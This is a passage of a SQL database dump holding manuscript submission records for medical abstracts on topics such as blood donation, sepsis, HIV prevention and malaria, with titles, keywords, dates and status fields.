Ca2+ available for release, which in turn increases twitch shortening amplitude. This review aims to introduce altered sarcoplasmic reticulum calcium cycling-targets for heart failure therapy. ','heart failure, sarcoplasmic reticulum, targets, proteins',690,'','2020-08-01',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-08-03',1),(5708,6930,45,0,'','Assessment of the level and factors associated with knowledge, attitude and practice of blood donation among medical and paramedical personnel’s in ALERT Hospital, Ethiopia ','',14,3,NULL,'Abstract:\r\nIntroduction: Though there was a high blood supply need in response to high communicable disease and increased emergency conditions; the practice of health professionals and non-health professionals on voluntary blood donation still unexpectedly low in Ethiopia. Health professionals and non-health professionals working in the health sectors are pivotal in taking the lead to reverse the effect of inadequate blood supply system in the country. Therefore, the study aimed to understand the level and contributing factors of Knowledge, Attitude and Practice of voluntary blood donation among health and non-health professionals in ALERT Hospital, Addis Ababa, Ethiopia.\r\nMethods and Materials; A cross-sectional study design was conducted among health professionals and non-health professionals in ALERT hospital from June 05 to 30/2018. A total of 394 hospital staffs participated in this study. A well-structured self-administered questionnaire was used to assess the knowledge, attitude, and practice about voluntary blood donation. The statistical analysis was carried out using R.\r\nResult; A total of 203 (51.5%) participants were females. Only 142(36%) of the participants had voluntary blood donation practice. Among these, 60(42.3%) of them were donated blood more than once. Occupation is the only factor significantly associated with blood donation practice; health professionals had almost two-fold donation practice than non-health professionals with (AOR=1.62; 5%CI: 1.02, 2.57, p=0.042). Occupation has also a strong relationship with knowledge, health professional had better knowledge than non-professionals with (AOR=2.39; 95% CI: 1.39, 4.12; 𝑝 =0.002). The result also showed that the educational status of the participants was strongly associated with the blood donors Attitude with (AOR=3.62; 95%CI: 1.1, 11.93, P=0.035) One hundred two (72.3%) of the blood donors were motivated to donate blood for charity, 133 (94.3%) individuals were felt good after blood donation and lack of request were the major reason (88.6%) that causes the respondents not to donate blood frequently.\r\nConclusion; Low blood donation practice of health professionals and non-health professionals was identified from this study. Occupation had significantly associated with the blood donation practice. Fear of anemia and not approaching to donate was the leading reasons for non-donors. Mobilizing the hospital staffs and develop accessible blood donation centers may help to reverse the effect of inadequate blood supply system in voluntary blood donation activities in Ethiopia. \r\n','Keywords; Knowledge, Attitude, Practice, Voluntary blood donation, Ethiopia',685,'','2020-08-06',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2020-08-06',1),(5717,6938,959,0,'','Pain- Like a Pinch of Salt in Platter','',12,3,NULL,'NA','Palliative care, cancer pain, suffering and awareness',3902,'','2020-08-07',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-08-07',1),(5748,6748,251,0,'','Prognostic role of red blood cell distribution width in patients with sepsis: a systematic review and meta-analysis','',14,3,NULL,'Abstract\r\nBackground: Outcome prediction for patients with sepsis may be conductive to early aggressive interventions. Numerous biomarkers and multiple scoring systems have been utilized in predicting outcomes, however, these tools were either expensive or inconvenient.\r\nWe performed a meta-analysis to evaluate the prognostic role of red blood cell distribution width (RDW) in patients with sepsis.\r\nMethods: The online databases of Embase, Web of science, Pubmed, Corchrane library, Chinese Wanfang\r\ndatabase, CNKI database were systematically searched from the inception dates to June, 24th, 2020, using the keywords red cell distribution width and sepsis. The odds ratio (OR) or Hazards ratio (HR) with corresponding 95% confidence intervals (95%CI) were pooled to evaluate the association between baseline RDW and sepsis.\r\nA random-effects model was used to pool the data, and statistical heterogeneity between studies was\r\nevaluated using the I2 statistic. Sensitivity and subgroup analyses were performed to detect the publication bias and origin of heterogeneity.\r\nResults: Eleven studies with 17,961 patients with sepsis were included in the meta-analysis. The pooled analyses indicated that increased baseline RDW was associated with mortality (HR = 1.14, 95%CI 1.09–1.20, Z = 5.78, P < 0.001) with significant heterogeneity (I2 = 80%, P heterogeneity < 0.001). Similar results were found in the subgroup analysis stratified by site of infection, comorbidity, Newcastle-Ottawa Scale (NOS) score, study design, patients’ country. The predefined subgroup analysis showed that NOS score may be the origin of\r\nheterogeneity.\r\nConclusions: For patients with sepsis, baseline RDW may be a useful predictor of mortality, patients with increased RDW are more likely to have higher mortality.\r\n',' Red cell distribution width, Sepsis, Septic shock, Mortality, Meta-analysis\r\n',783,'','2020-07-30',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'858','sreeja_s@euroscicon.co.in',4,0,0,0,NULL,'2020-08-10',1),(5749,6747,251,0,'','The role of lactic acid production by probiotic Lactobacillus species in vaginal health','',14,3,NULL,'\r\nVaginal eubiosis is characterised by beneficial lactobacillus-dominated microbiota. In contrast, vaginal dysbiosis (e.g. bacterial vaginosis, BV), characterised by an overgrowth of multiple anaerobes, is associated with an increased risk of adverse urogenital and reproductive health outcomes. A major distinguishing feature between the vaginal environment in states of eubiosis and dysbiosis is a high concentration of lactic acid, produced by lactobacilli, that acidifies the vagina in eubiosis versus a sharp drop in lactic acid and an increase in pH in dysbiosis. Here we review the antimicrobial, antiviral and immunomodulatory properties of lactic acid and the use of lactic acid and lactobacilli probiotics in preventing or treating BV.\r\n\r\n\r\n',' Microbiota; Lactobacilli; Probiotics; Lactic acid; Metabolites; Vagina',783,'','2020-07-30',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'858','sreeja_s@euroscicon.co.in',4,0,0,0,NULL,'2020-08-10',1),(5750,6723,251,0,'','Far Eastern Scarlet-Like Fever is a Special Clinical and Epidemic Manifestation of Yersinia pseudotuberculosis Infection in Russia','',14,3,NULL,'Pseudotuberculosis in humans until the 1950s was found in different countries of the world as a rare sporadic disease that occurred in the form of acute appendicitis and mesenteric lymphadenitis. In Russia and Japan, the Yersinia pseudotuberculosis (Y. pseudotuberculosis) infection often causes outbreaks of the disease with serious systemic inflammatory symptoms, and this variant of the disease has been known since 1959 as Far Eastern Scarlet-like Fever (FESLF). Russian researchers have proven that the FESLF pathogen is associated with a concrete clonal line of Y. pseudotuberculosis, characterized by a specific plasmid profile (pVM82, pYV 48 MDa), sequence (2ST) and yadA gene allele (1st allele). This review summarized the most important achievements in the study of FESLF since its discovery in the Far East. It has been established that the FESLF causative agent is characterized by a unique phenomenon of psychrophilicity, which consists of its ability to reproduce in the environment with its biologically low and variable temperature (4–12 â—¦C), at which the pathogen multiplies and accumulates while maintaining or increasing its virulence, which ensures the emergence and development of the epidemic process. The key genetic and biochemical mechanisms of Y. pseudotuberculosis adaptation to changing environmental conditions were characterized, and the morphological manifestations of the adaptive variability of these bacteria in different conditions of their habitat were revealed. The main features of the pathogenesis and morphogenesis of FESLF, including those associated with the Y. pseudotuberculosis toxigenicity, were presented. The pathogenetic value of the plasmid PVM82, found only in the FESLF pathogen, was shown','Yersinia pseudotuberculosis; infection; epidemic',785,'','2020-07-29',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'858','sreeja_s@euroscicon.co.in',4,0,0,0,NULL,'2020-08-10',1),(5759,6348,45,0,'','Services available in the Transfusion medicine department of Sir Salimullah Medical College and Mitford Hospital','',14,3,NULL,'Objective: Blood, is a scarce non substitute, which necessitates it for patients to have a reliable safe access to blood products at all levels. In order to identify the shortcomings in this process, this study has been designed to assess the current status of the transfusion medicine department services in one of the tertiary level hospital in Dhaka city.\r\nMethod: This study was conducted in the Transfusion Medicine department, Sir Salimullah Medical College and Mitford Hospital, Dhaka in 2018.  The study population was a total of 275(14 Service Providers purposively interviewed &261 blood donors taken as per convenience). Results: The findings revealed that all basic tests and mandatory screening tests were conducted in the unit except Bone Marrow examination and Apheresis. Important record registers (Donor care, Donor deferral register,etc.) were present but not updated. Few SOPs that were available but were not kept at work stations. No screening curtains were provided for donors privacy and no technicians used gloves at work. Only 1.5% donors were Voluntary. About 36% were first time donors. About 19% of donors mentioned a delay of nearly an hour for completion of donation process, though 80.5% donors were still satisfied with staff behavior. WHO criteria was followed for Donor selection in the unit. Pre and post donation counselling was extremely dissatisfying. In spite of no stocks, the unit organized mere Voluntary Blood donation activities.\r\nConclusion: A huge number of patients rely on tertiary hospitals for blood transfusions, as it is a life-saving procedure. Voluntary blood donation can be increased by encouraging Government–NGO collaboration along with use of software for holding details of regular donors.','blood transfusion, services, tertiary hospital,dhaka',686,'','2020-08-11',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,1,0,0,NULL,'2020-08-11',1),(5771,6572,959,0,'','From understanding the molecular mechanism of aberrant ERα pre-mRNA toward the therapeutic application in breast cancer','',14,0,NULL,'HMGA1a (formerly termed HMGI) is known as a DNA-binding transcription factor with\r\noncogenic properties. We have reported it also binds to RNA in a sequence-specific manner.\r\nHMGA1a anchors U1 snRNP to the 5’ splice site of presenilin-2 exon 5 to induce its aberrant\r\nexon skipping only when the HMGA1a RNA-binding site is adjacent to the 5’ splice site in\r\nsporadic Alzheimer’s disease (1,2).\r\nIn order to seek for other target genes of HMGA1a, we were prompted to search for\r\nHMGA1a RNA-binding sites in the estrogen receptor alpha (ERα) gene where both have been\r\nextensively studied in breast cancer. We performed a sequence homology search for the\r\npresenilin-2 (PS2) HMGA1a RNA-binding site and found a specific sequence 33-nt upstream of\r\nthe 5’ splice site of ERα exon 1. Therefore, we examined; (i) HMGA1a-binding to the RNA\r\nsequence by RNA-EMSA, (ii) splicing activity in cultured MCF-7 cells that were transfected\r\nwith HMGA1a-expression and its RNA decoy expression plasmids, (iii) splicing activity in vitro.\r\nWe found it switched two alternatively spliced isoforms, ERα66 and ERα46. HMGA1a-mediated\r\nU1 snRNP anchoring to the adjacent pseudo-5’ splice site was checked by psoralen-mediated\r\nUV crosslinking combined with RNA-EMSA. The effect of the decoy oligonucleotides\r\ncontaining the PS2 HMGA1a RNA-binding site in MCF-7 cells was further checked by\r\ntransplanting its stable transfectant in nude mice showing increased estrogen-dependent growth.\r\nHowever, in tamoxifen-resistant MCF-7 TAMR1 cells, the HMGA1a RNA-binding decoy\r\noligonucleotides improved tamoxifen-responsiveness by inhibiting estrogen-dependent cell\r\nproliferation (3,4).\r\nWe conclude that this HMGA1a RNA-binding decoy oligonucleotides would be\r\nimplicated in novel therapeutic application to improve tamoxifen effectiveness in breast cancer\r\nwhere tamoxifen lack effect. ','alternative splicing, breast cancer, estrogen receptor, HMGA1a',3142,'','2020-07-27',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'1000','leena_t@omicsgroup.co.in',1,0,0,0,NULL,'2020-08-12',1),(5767,6985,667,0,'','A Cross-sectional Study On Knowledge About HBV Vaccination  Among The Medical Students Of A Tertiary Medical College And Organizations Involved In Vaccination And Awareness ','',14,0,NULL,'Abstract \r\nObjectives: The study was done to know about the knowledge about Hepatitis B infection and develop awareness among the students to receive vaccine. \r\nMethods: A cross sectional study was conducted among the medical students of northern Bangladesh in January, 2020 using a pretested self administrated structured questionnaire. Chi-square(X2) test was used to compare between different variables to identify significance level.\r\nResults: Total 253 medical students from a tertiary thousands bed medical college under MBBS and BDS curriculum,  among them 50.99% was male and 40.01% was female and 47.82% was from town and 52.17% was from village. From all participants 57.31% was vaccinated with full dose completed,26.29% did not complete dose(Booster dose) and 13.44% never received vaccine, From the Unvaccinated persons 16.33% did not know about the organizations from where vaccine is received and who knew about the organization form where vaccine can take, more than 90% mentioned the name of SHANDHANI(A free blood donating and vaccination organizations).Along with HBV vaccination 53.78% could mention that they also completed EPI schedule,20.32% could not  remember and 23.9% did not complete EPI. Before  taking vaccine 64.94% was go through screening procedure and 15.54% did not  know about screening. \r\nConclusion :From our study we can say that we need more awareness for taking vaccine and government should include HBV in EPI schedule.  And also need to organize awareness program or campaign  among the community people and students of all sectors to increase knowledge. \r\n','Hepatitis, Vaccination, Vaccine, Medical students, Booster dose',3322,'','2020-08-11',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',1,0,0,0,NULL,'2020-08-12',1),(5854,6930,45,0,'','Assessment of the level and factors associated with knowledge, attitude and practice of blood donation among medical and paramedical personnel’s in alert Hospital, Ethiopia','',15,3,NULL,'Introduction: Though there was a high blood supply need in response to high communicable disease and increased emergency conditions; the practice of health professionals and non-health professionals on voluntary blood donation still unexpectedly low in Ethiopia. Health professionals and non-health professionals working in the health sectors are pivotal in taking the lead to reverse the effect of inadequate blood supply system in the country. Therefore, the study aimed to understand the level and contributing factors of Knowledge, Attitude and Practice of voluntary blood donation among health and non-health professionals in ALERT Hospital, Addis Ababa, Ethiopia. Methods and Materials; A cross-sectional study design was conducted among health professionals and non-health professionals in ALERT hospital from June 05 to 30/2018. A total of 394 hospital staffs participated in this study. A well-structured self-administered questionnaire was used to assess the knowledge, attitude, and practice about voluntary blood donation. The statistical analysis was carried out using R. Result; A total of 203 (51.5%) participants were females. Only 142(36%) of the participants had voluntary blood donation practice. Among these, 60(42.3%) of them were donated blood more than once. Occupation is the only factor significantly associated with blood donation practice; health professionals had almost two-fold donation practice than non-health professionals with (AOR=1.62; 5%CI: 1.02, 2.57, p=0.042). Occupation has also a strong relationship with knowledge, health professional had better knowledge than non-professionals with (AOR=2.39; 95% CI: 1.39, 4.12; 𝑝 =0.002). The result also showed that the educational status of the participants was strongly associated with the blood donors Attitude with (AOR=3.62; 95%CI: 1.1, 11.93, P=0.035) One hundred two (72.3%) of the blood donors were motivated to donate blood for charity, 133 (94.3%) individuals were felt good after blood donation and lack of request were the major reason (88.6%) that causes the respondents not to donate blood frequently. Conclusion; Low blood donation practice of health professionals and non-health professionals was identified from this study. Occupation had significantly associated with the blood donation practice. Fear of anemia and not approaching to donate was the leading reasons for non-donors. Mobilizing the hospital staffs and develop accessible blood donation centers may help to reverse the effect of inadequate blood supply system in voluntary blood donation activities in Ethiopia.','Knowledge, Attitude, Practice, Voluntary blood donation, Ethiopia',643,'','2020-08-18',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',1,'','',4,0,0,0,NULL,'2020-08-19',1),(5860,6985,667,0,'','A Cross-sectional Study On Knowledge About HBV Vaccination Among The Medical Students of A Tertiary Medical College And Organizations Involved In Vaccination And Awareness.','',15,0,NULL,'Objectives: The study was done to know about the knowledge about Hepatitis B infection and develop\r\nawareness among the students to receive vaccine.\r\nMethods: A cross sectional study was conducted among the medical students of northern Bangladesh in\r\nJanuary, 2020 using a pretested self administrated structured questionnaire. Chi-square(X2) test was\r\nused to compare between different variables to identify significance level.\r\nResults: Total 253 medical students from a tertiary thousands bed medical college under MBBS and BDS\r\ncurriculum, among them 50.99% was male and 40.01% was female and 47.82% was from town and\r\n52.17% was from village. From all participants 57.31% was vaccinated with full dose completed,26.29%\r\ndid not complete dose(Booster dose) and 13.44% never received vaccine, From the Unvaccinated\r\npersons 16.33% did not know about the organizations from where vaccine is received and who knew\r\nabout the organization form where vaccine can take, more than 90% mentioned the name of\r\nSHANDHANI(A free blood donating and vaccination organizations).Along with HBV vaccination 53.78%\r\ncould mention that they also completed EPI schedule,20.32% could not remember and 23.9% did not\r\ncomplete EPI. Before taking vaccine 64.94% was go through screening procedure and 15.54% did not\r\nknow about screening.\r\nConclusion :From our study we can say that we need more awareness for taking vaccine and\r\ngovernment should include HBV in EPI schedule. And also need to organize awareness program or\r\ncampaign among the community people and students of all sectors to increase knowledge. ','Hepatitis, Vaccination, Vaccine, Medical students, Booster dose',3933,'','2020-08-18',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',1,'','',1,0,0,0,NULL,'2020-08-19',1),(5967,7198,45,0,'','Prevalence of syphilis among pregnant woman attending antenatal care in shanen gibe hospital, oromia region, southwest Ethiopia, 2019.','',14,3,NULL,'Background: Syphilis is a sexually transmitted infection that causes infected sores, blisters or ulcers on genitals, anus (bottom) or mouth. During pregnancy may cause severe manifestations as stillbirth, early fetal death, low birth weight, preterm delivery, neonatal death, infection or disease in the newborn.\r\nMethods: Institutional based cross sectional study design was carried out in Jimma town from March 29, 2019 to April 29, 2019. Systematic sampling technique method was used to select a total of 257 participants. Data was collected by using pre-tested and structured questionnaire by trained data collectors and then coded and entered to Epi data 3.5.1and exported to SPSS version 25 for cleaning and analysis. Descriptive statistics like frequency table and graphs were used for data presentation.  \r\nResults: - A total of 257 subjects were participated with a response rate of 100%. Ninety three present (93%) of the respondents had not history of STIs and 95% of them were had one sexual partners. About 96% of respondents were not ever use condom. All of the study subjects were tested for syphilis and only 3% of them were positive for syphilis.\r\nConclusion and recommendation: - The overall prevalence of syphilis among pregnant women was 3%. An effective health education program to target females at child bearing age and the community regarding syphilis as disease, mode of spread, and preventive measures are recommended to decrease incidence of syphilis.\r\n','syphilis, pregnant mother, shenan gibe hospital',3202,'','2020-08-27',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-08-31',1),(6044,7278,45,0,'','Social stigma and other consequences of COVID-19 pandemic in low resource setting, in eastern Africa: the need to increase preventive efforts and addressing the consequences, 2020','',16,3,NULL,'Executive Summary\r\nSince the emergency of COVID-19 pandemics, many countries have been encountered a multitude of challenges. People have been facing health related and other social consequences throughout the world. It is too early to know the aggravated impact of COVID-19 on people living in resource-limited setting, like east Africa countries. In these countries, besides direct public health impact, the COVID-19 pandemic has provoked social stigma and discriminatory behaviors against people of certain ethnic backgrounds as well as anyone perceived to have been in contact with the virus. Social stigma can negatively affect those with the disease, as well as their caregivers, family, friends and communities.  COVID-19 pandemics have also been provoked great impacts on daily social consumptions such as food and other food supplements.  In addition, COVID-19 pandemic were overshadowed endemics diseases such as malaria, TB and HIV related care and antenatal care services as well as other non communicable diseases prevention and control. Social stigma coupled with other consequences could result in more severe health problems, can undermine social cohesion and prompt possible social isolation of groups, which might contribute to a situation where the virus is more, not less, likely to spread and difficulties controlling a disease outbreak. Therefore, how we communicate about COVID-19 is critical in supporting people to take effective action to help combat the disease and to avoid fuelling fear and stigma. An environment needs to be created in which the disease and its impact can be discussed and addressed openly, honestly and effectively. This is a message for government, media and local organizations working on the COVID-19 infections.\r\n','COVID-19, Social consequence, Resource - limited setting, Africa',3300,'','2020-09-04',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-09-07',1),(6047,7281,73,0,'','Compensatory Rehabilitation in the Complete 10,11,12  Thoracic level injury','',10,3,NULL,'There 31 patients of Complete 10,11,12 Thoracic level injury came to Jaya rehabilitation institute and research center underwent physiotherapy, occupational therapy,functional training and public utility training. After compensatory rehabilitation, patient shows significant improvement in their activity of daily living. Compensatory Rehabilitation to the Complete Thoracic Spinal cord Injury patient in the form of Use of spared muscle groups & other assistive devices can give the more independence to the patients in their Activities of Daily Living as well other areas of life.','Complete Spinal Cord Injury,D10-D11-D12,Spinal Cord Injury Measures(SCIM) and  Walking Index  Spinal Cord Injury ( WISCI II),Institutional Rehabilitation, Public Utility Services Training',341,'','2020-09-05',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-09-07',1),(6048,7282,73,0,'','Functional Rehabilitation of the patient with incomplete D11 Spinal cord injury','',2,0,NULL,'An adult 32 years old male, met with an accident in the form of electric shock, got spinal cord injury at level of D11 & become paraplegic. He received rehabilitation training in the form of Physiotherapy, Occupational Therapy, vocational training, functional training, transfer training, Public Utility Services training. After 3 months of rehabilitation he become independent in his mobility indoor & outdoor with assistive devices. ',' Incomplete Spinal Cord Injury, D11 (Dorsal 11), Spinal Cord Injury Measures (SCIM) and Walking Index Spinal Cord Injury (WISCI II), functional Rehabilitation, Public Utility Services Training',341,'','2020-09-05',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2020-09-07',1),(6066,7297,45,0,'','Siddha Formulations in COVID-19: Potential Bio-active compounds of Kabasura Kudineer against SARS-CoV-2 Virus - A Molecular Docking study','',14,0,NULL,'Introduction/ Purpose:\r\nKabasura kudineer, a medicinal concoction used in Siddha system of medicine includes 15 plant components with numerous bio-active compounds. These compounds are found to be used for various clinical purposes including respiratory, gastrointestinal and bacterial infections. Thus in this study we aimed to study the potential of bio-active compounds of Kabasura kudineer against three different proteins of SARS-CoV-2 virus namely - Spike protein, Protease and RNA dependent RNA polymerase (RdRP) using molecular docking technique.\r\nMethods:\r\nThe bio-active compound molecules of the Kabasura kudineer concoction were extracted using SMILES String method from PubChem and subjected against three protein molecular structures of virus retrieved from protein data bank. The molecular docking procedure was performed using Chimera v1.14 and AutoDock Vina v1.12 platform. \r\nResults:\r\nThe receptors subjected to molecular docking showed existence of negative binding energy between the molecules and the affinity was found to be higher against RdRP than other two proteins. Among all the bio-active compounds – Terflavin B and Ellagic acid of plant Kadukkaithol showed higher binding energy against all the proteins of SARS-CoV-2 proteins.\r\nConclusion:\r\nThus, the compounds thus proved to have anti-viral potential that may help to inhibit the replication of virus and contain the spread.\r\n','Molecular docking, bio-active compounds, Kabasura kudineer, COVID-19, binding affinity. ',3756,'','2020-09-08',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2020-09-10',1),(6185,7428,45,0,'','MALE PARTNERS INVOLVEMENT AND ASSOCIATED FACTORS IN PREVENTION OF MOTHER TO CHILD TRANSMISSION OF HIV IN EAST BADAWACHO DISTRICT, HADIYA ZONE, SOUTHERN ETHIOPIA','',14,3,NULL,'Background: Transmission of HIV mother-to-child remains a significant problem in the developing world despite the development and growing availability of effective prevention methods appropriate for resource-limited settings. Male involvement has been recognized as apriority focus area to be strengthened in PMTCT but testing male partners for HIV in the context of preventing mother to- child transmission remains a challenge in most low- and middle-income countries.\\\\\\\\r\\\\\\\\nObjective: To assess male partners involvement in prevention of mother-to-child transmission of HIV and associated factors in East Badawacho woreda, Hadiya Zone, Southern Ethiopia, 2019.\\\\\\\\r\\\\\\\\nMethods: A community based cross-sectional study was conducted from July 1- 30, 2019 on a sample of 402 male partners whose wife attended ANC visit in the past six months. The calculated sample was proportionally allocated to all Kebeles, and sample households with eligible male partner was selected from each kebele using simple random sampling technique. Structured questionnaire was administered to male partners. Data was entered using Epi-data version 3.1 and exported to SPSS Version 20 for analysis. Descriptive analysis was used to see the overall distribution of the study subject with the variables under study. Both bivariate and multivariate analysis (binary logistic regression) was used to identify factors associated with male partner’s involvement in PMTCT. P value of <0.05 was considered as statistically significant with 95% confidence interval.\\\\\\\\r\\\\\\\\nResult: The overall male involvement in PMTCT of HIV was 52.4% [95% CI (47.6-56.7)]. Good knowledge on PMTCT (AOR=3.27; CI=1.19-9.01), duration of relationship for 11 to 20 years (AOR=0.337; CI=0.14-0.82), attending primary and secondary education, Bad attitude of health professionals towards clients (AOR=0.449: CI=0.21-0.98) and good knowledge on ANC (AOR=6.338; CI=2.13-18.9) are factors significantly associated with male involvement in PMTCT of HIV.\\\\\\\\r\\\\\\\\nConclusions: Male involvement in the PMTCT program in East Badawacho district was low (52.4%). Good knowledge on PMTCT and ANC, duration of relationship for 11 to 20 years, attending primary and secondary education, and bad attitude of health professionals were significantly associated with male partner involvement. Community sensitization of men about the benefits of antenatal care and PMTCT and improving client-friendliness in the clinics needs to be prioritized in order to improve low male participation and mitigate the effect of socio-economic and cultural factors.','Key words: Male partner, Male involvement, PMTCT, ANC',3202,'','2020-09-21',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-09-22',1),(6220,7467,45,0,'','Efficacy of plant-extract based gel for facial acne treatment randomized, controlled, parallel group, and comparative study ','',14,3,NULL,'Background: Acne is a long-term skin disease largely affecting teenagers and adults. Many different treatments exist for acne, though some with a number of side effects. Under complementary medicine, many plant extracts/oils are effective for acne. However, with few studies on rats or on small sample sizes, clinical efficacy of such extracts needs more human trials. ','',4011,'','2020-09-25',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'1053','nikhil_m@omicsgroup.co.in',4,0,0,0,NULL,'2020-09-25',1),(5738,6963,91,0,'','Pharmacological treatment of coronavirus','',6,0,NULL,'Corona infections are a gathering of related infections that cause malady in well evolved creatures and flying creatures. In people, Corona infections cause respiratory parcel diseases that can extend from mellow to deadly. Gentle ailments incorporate a few instances of the normal cold, while more deadly assortments can cause SARS, MERS, and COVID-19. There are yet to be immunizations or antiviral medications to forestall or treat human crown infection diseases. Be that as it may, ordinary preventive activities to help forestall the spread of respiratory infections will work with this novel crown infection. Toward the start of the episode, World Health Organization (WHO) bolstered access to COVID-19 in-house RT-PCR conventions. The most recent zones of supported network spread incorporate China, South Korea, Japan, Iran, and Italy, Spain, France, UK, USA, Canada, Germany, Australia, India, Pakistan, Bangladesh and so on in around 185 all over nations in world. During this Pandemic circumstance numerous states in India have summoned different arrangements of the Epidemic Diseases Act of 1897 to control transmittable maladies.\r\n','SARS, MERS, COVID-19, Epidemic Diseases, RT-PCR.\r\n',3416,'','2020-08-09',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2020-09-29',1),(6284,7427,45,0,'','MALE PARTNERS INVOLVEMENT AND ASSOCIATED FACTORS IN PREVENTION OF MOTHER TO CHILD TRANSMISSION OF HIV IN EAST BADAWACHO DISTRICT, HADIYA ZONE, SOUTHERN ETHIOPIA','',15,3,NULL,'Background: Transmission of HIV mother-to-child remains a significant problem in the developing world despite the development and growing availability of effective prevention methods appropriate for resource-limited settings. Male involvement has been recognized as apriority focus area to be strengthened in PMTCT but testing male partners for HIV in the context of preventing mother to- child transmission remains a challenge in most low- and middle-income countries.\r\n\r\nObjective: To assess male partners involvement in prevention of mother-to-child transmission of HIV and associated factors in East Badawacho woreda, Hadiya Zone, Southern Ethiopia, 2019.\r\n\r\nMethods: A community based cross-sectional study was conducted from July 1- 30, 2019 on a sample of 402 male partners whose wife attended ANC visit in the past six months. The calculated sample was proportionally allocated to all Kebeles, and sample households with eligible male partner was selected from each kebele using simple random sampling technique. Structured questionnaire was\r\n\r\nadministered to male partners. Data was entered using Epi-data version 3.1 and exported to SPSS Version 20 for analysis. Descriptive analysis was used to see the overall distribution of the study subject with the variables under study. Both bivariate and multivariate analysis (binary logistic regression) was used to identify factors associated with male partner’s involvement in PMTCT. P value of <0.05 was considered as statistically significant with 95% confidence interval.\r\n\r\nResult: The overall male involvement in PMTCT of HIV was 52.4% [95% CI (47.6-56.7)]. Good knowledge on PMTCT (AOR=3.27; CI=1.19-9.01), duration of relationship for 11 to 20 years (AOR=0.337; CI=0.14-0.82), attending primary and secondary education, Bad attitude of health professionals towards clients (AOR=0.449: CI=0.21-0.98) and good knowledge on ANC (AOR=6.338; CI=2.13-18.9) are factors significantly associated with male involvement in PMTCT of HIV.\r\n\r\nConclusions: Male involvement in the PMTCT program in East Badawacho district was low (52.4%). Good knowledge on PMTCT and ANC, duration of relationship for 11 to 20 years, attending primary and secondary education, and bad attitude of health professionals were significantly associated with male partner involvement. Community sensitization of men about the benefits of antenatal care and PMTCT and improving client-friendliness in the clinics needs to be prioritized in order to improve low male participation and mitigate the effect of socio-economic and cultural factors','Male partner, Male involvement, PMTCT, ANC',643,'','2020-09-30',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',1,'','',4,0,0,0,NULL,'2020-10-01',1),(6100,7344,971,0,'','Anticonvulsant effects of Ondansetron and Granisetron (selective 5-HT3 receptors antagonists) at doses induced hypothermia in male mice','',14,0,'','Ondansetron and Granisetron','',3761,'','2020-09-12',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2020-10-17',1),(6595,7852,45,0,'','Family planning ','',14,0,'Influence uptake of family planning ','I would like to improve my topic ','I hope to be part ',685,'','2020-11-06',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2020-11-06',1),(6662,7920,45,0,'','Impact of parasitic infection on the human gut ecology and immune regulation','',6,3,'','The human body harbors trillions of microbes collectively known as the microbiota. The gut microbiota of a human is importantly involved in most of the human’s metabolic and regulatory pathways. The gut microbiota needs to remain balanced for the maintenance of the host’s health. Several factors are involved in the distribution of the microbiota in the human body, in most of the cases this microbiota are commensals, but some circumstances lead to serious disorders and development of infections from microbiota. The balance between host and gut microbiota can be disturbed upon the colonization of parasites in the gut. Parasitic invasion in the gut is associated with unhygienic conditions including contaminated food and water. The parasitic invasion in the gut induces the immune response to recognize and eliminate the pathogens. The present review highlights the disturbance of normal gut microbiota and response of the immune system to tackle the parasitic infections. ','',686,'','2020-11-15',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-11-16',1),(6596,7853,975,0,'','Impact of Malarial Infection on Hematological Parameters in Patients at Tertiary Care Hospitals in D I Khan','',14,0,'Impact of Malarial Infection on Hematological Parameters in Patients at Tertiary Care Hospitals in D I Khan','Abstract— Malaria is among the leading parasitic infections in world causing major health problems. Plasmodium, being a blood parasite, causes changes in blood parameters including hemoglobin level (Hb), Red blood cells (RBCs), leukocytes/White Blood Cells (WBCs) and thrombocytes (PLTs). This study was aimed at identifying the Plasmodium specie and measuring the changes occurred in hematological parameters, in malaria patients at two tertiary care hospitals of district Dera Ismail Khan, province Kpk of Pakistan. The sample size consisted of 109 individuals divided into two groups: 71 malaria positive individuals as infected group and 38 malaria negative individuals as control group. Diagnosis was based on staining and direct visualization of the parasite under microscope. Blood CP was performed on the “Sysmex XP 300 analyser”. Mann Whitney U test was used to compare non-normally distributed continuous variables. This study showed association of thrombocytopenia and anemia with malaria however, extreme cases were not observed. Anemia was more evident in female patients. Although reduction in leukocyte count was observed yet leukopenia was not evident among malaria patients. Malaria causes changes in hematological parameters with thrombocytopenia being a significant change during malarial infection. However, anemia was observed in female patients yet anemia had already been a common clinical observation among them.','',4089,'','2020-11-06',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2020-11-19',1),(6578,7827,975,0,'','The relation between Glutathione S Transferase (GSTM1, GSTP1 and GSTT1)  polymorphisms and clinical Diversity of 